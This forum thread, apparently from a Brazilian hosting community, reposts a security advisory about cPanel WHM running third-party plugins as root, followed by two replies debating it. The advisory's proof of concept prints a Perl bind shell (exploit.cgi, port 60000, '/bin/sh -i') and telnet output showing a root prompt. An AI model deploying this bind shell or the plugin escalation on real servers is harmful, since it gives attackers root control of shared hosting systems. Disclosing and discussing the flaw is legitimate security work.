Resultados 1 a 3 de 3
  1. #1
    Super Moderador
    Data de Ingresso
    Sep 2010

    Falha de segurança em plugins do cPanel

    Falha de segurança em plugins do cPanel

    Type: Fundamental Security Failure
    Impact: High
    Product: cPanel
    Website: cPanel Inc
    Vulnerable Version: All
    Date: 2013-05-13
    By: Rack911
    Product Description:

    cPanel is an easy-to-use control panel that gives web hosts and the website owners they serve, the ability to quickly and easily manag their servers and websites. Web Host Manager (WHM) is a part of th cPanel software, often used by resellers and system administrators.

    Vulnerability Description:

    This is not a vulnerability in the software itself but instead a discussion of how WHM trusts all third party plugins with root level access which is a dangerous practice. For example, when a reseller logs into WHM and accesses a plugin it is then executed as root. Should a vulnerability exist in a plugin that is accessible to the reseller, it would then be trivial for the attacker to gain instant root access.

    This has been brought to cPanel's attention as early as 2009 when several security flaws were found in popular third party plugins that allowed instant root access. Had we published these security flaws back then it would be safe to assume that at least 8 out of 10 hosting companies using cPanel would have been vulnerable to root compromises.

    When we expressed our concerns to cPanel both in 2009 and earlier this month, their response was basically "not our problem" which we believe to be a terrible and reckless approach to security. It's of cPanel's opinion that despite admitting that WHM runs everything as root that it's up to the third party developers to maintain a secure code base and what happens after that is not their problem.

    While we do agree that the third party developers share a responsibility, it is ultimately cPanel's platform that allows a small flaw to become a big flaw. Think of it like this, cPanel is saying "Sure we run PHP as root but it's not our fault that WordPress had a flaw that allowed the server to get rooted." Of course everyone knows how dangerous it is to run PHP as root but that is effectively what cPanel is doing here.

    As much as we would like to see WHM rewritten from scratch to prevent these sorts of attacks, we know that's not practical. Instead, what we would like to see is a mechanism using ACL's or a wrapper of sorts that will execute third party plugins in a sand boxed environment. Something where if a third party plugin is found to have a vulnerability that root access cannot be obtained under any circumstances.

    We shared our ideas with cPanel and they were immediately shot down with irrelevant examples of why it cannot work. It is our opinion that properly securing WHM from these sorts of attacks would not take a lot of effort but instead cPanel has a pattern of deflecting blame when it comes to security and we find that very chilling.

    Make no mistake about it, anyone who uses cPanel should be concerned right now. There have been very real security flaws over the years that could have allowed an attacker to take over any cPanel server in a matter of seconds because of these fundamental security failures. It is our goal to bring public attention to this issue and put pressure on cPanel to implement any necessary changes.

    Proof of Concept:

    The following is from an old exploit that has since been fixed but could easily apply to any future vulnerability in third party plugins. In this case, the proof of concept is from an RVSiteBuilder exploit that we manipulated to drop to an instant root shell.

    RVSiteBuilder stored user uploads in world writable directories located under a directory accessible via WHM:


    In that directory we were able to create a file called exploit.cgi and used a simple Perl bindshell that would open port 60000 and drop to a root prompt when executed. For reference sake, here is a copy of that bindshell:


    # exploit.cgi

    BEGIN {
    unshift(@INC, '/usr/local/cpanel');

    use Socket;

    $port = 60000;
    $proto = getprotobyname('tcp');
    $cmd = "exploit";
    $system = '/bin/sh -i';

    socket(SERVER, PF_INET, SOCK_STREAM, $proto)
    or die "socket:$!";
    setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
    or die "setsockopt: $!";
    bind(SERVER, sockaddr_in($port, INADDR_ANY))
    or die "bind: $!";
    listen(SERVER, SOMAXCONN) or die "listen: $!";

    for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
    open(STDIN, ">&CLIENT");
    open(STDOUT, ">&CLIENT");
    open(STDERR, ">&CLIENT");



    After we created exploit.cgi the next step was to log into WHM as the reseller and open the URL directly containing the bind shell. In this case it would have been:

    Once we opened that URL, the bindshell was executed as root and now a bindshell running on port 60000 was waiting for us:

    telnet 60000

    Connected to
    Escape character is '^]'.
    sh-4.1# id
    uid=0(root) gid=0(root) groups=0(root)

    Should this be allowed to happen? Absolutely not! We cannot stress enough how much of a failure this is on cPanel's part to trust every third party plugin with root access. Any reseller on that server could have created that exploit.cgi via SSH, a cron job or through many other means and gained instantaneous root access to do as they please.


    We have deemed this fundamental security failure to be rated as HIGH due to the fact that any third party plugin that is compromised will ultimately lead to a root compromise. At best, the attackers will only have root read access to view sensitive files, but at worst the attackers will have the ability to use a Perl bind shell to drop to an instant root shell.
    do original: cPanel - Fundamental Security Failure - Web Hosting Talk
    Siga-nos em nosso twitter: @wht_brasil

  2. #2
    WHT-BR Top Member
    Data de Ingresso
    Nov 2010
    Tava lendo os comentários e este aqui me deixou um pouco preocupado

    It is clear from this disclosure that security is clearly not a consideration of WHM and as pointed out with the 2 exploits in the last month or so, (that have been fixed).
    Many moons ago, I found a security flaw in WHM that allowed anyone the ability to reset root's password:


    I wish I was kidding... Steven also found a flaw that allowed an attacker to escalate their MySQL privileges when restoring a backup. cPanel were made aware of the issue and flat out hold him, that it wasn't their problem and that admins should inspect backup archives for signs of tampering! Both of those flaws were silently fixed... the MySQL one god knows when but it was around for at least a year.

    We have a handful of root flaws in other popular control panels and the companies responsible have been nothing short of amazing to work with. One of them who will remain nameless until they issue patches, has even asked us to talk about the flaws on THEIR blog to bring attention to it. That's a huge contrast to cPanel who has a history of silently fixing serious security bugs and deflecting blame.

    Frankly, we're fed up with companies doing that. Saying a root exploit is a "bug fix" and being so nonchalant about their customers security. As I type this, we have approximately 20 unreleased security flaws ... 4 or 5 root flaws in various control panels and 5 or 6 "admin" level flaws in various billing and help desk panels - some very scary stuff!

    We're just waiting on developers to do the needful and get new releases out. You know... it's our goal to lead the way to make the hosting community safer and it starts with bringing attention to serious security failings in popular software that most of us use that have gone on for far too long.*• Revenda de Hospedagem Cloud Linux + WHMCS Grátis • Revenda de Hospedagem Linux Cpanel + CloudFlare • Hospedagem de Sites Cpanel + Construtor de Sites

  3. #3
    WHT-BR Top Member
    Data de Ingresso
    Dec 2010
    Friamente, o post inicial é marquetingue. Do tipo ruim. Primeiro, não vejo motivo para emitir um aviso classificado como "Fundamental Security Failure", de "alto impacto", sobre algo que "has been brought to cPanel's attention as early as 2009 when several security flaws were found in popular third party plugins that allowed instant root access". De fato, a arquitetura é essa e ponto final. A cPanel, Inc enfrenta problema semelhante com os plugins ao problema que a Microsoft enfrentou com drivers de periféricos desenvolvidos nas coxas por terceiros -- causando a famosa tela azul (BSOD - Blue Screen of Death). No caso da Microsoft, que também apresentava BSOD devido a hardware ordinário (especialmente fontes baratas que forneciam energia instável), a empresa partiu para escrever drivers genéricos para a maioria dos periféricos, passou a certificar drivers de fabricantes, implantou salvaguardas no sistema operacional, etc. No caso do cPanel, a empresa não parece disposta a investir em analisar e aprovar cada plugin que seja criado mundo afora, o que é compreensivel, dada a complexidade e custo da tarefa, sem falar que o modelo de plugin é esse: cada um é livre para plugar o que bem entender e que assuma a responsabilidade por todas as cagadas decorrentes. Se é necessário privilégio root para um plugin rodar e este tem vulnerabilidades, "several security flaws were found in popular third party plugins", o que se pode fazer?
    Última edição por 5ms; 14-05-2013 às 07:52.

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens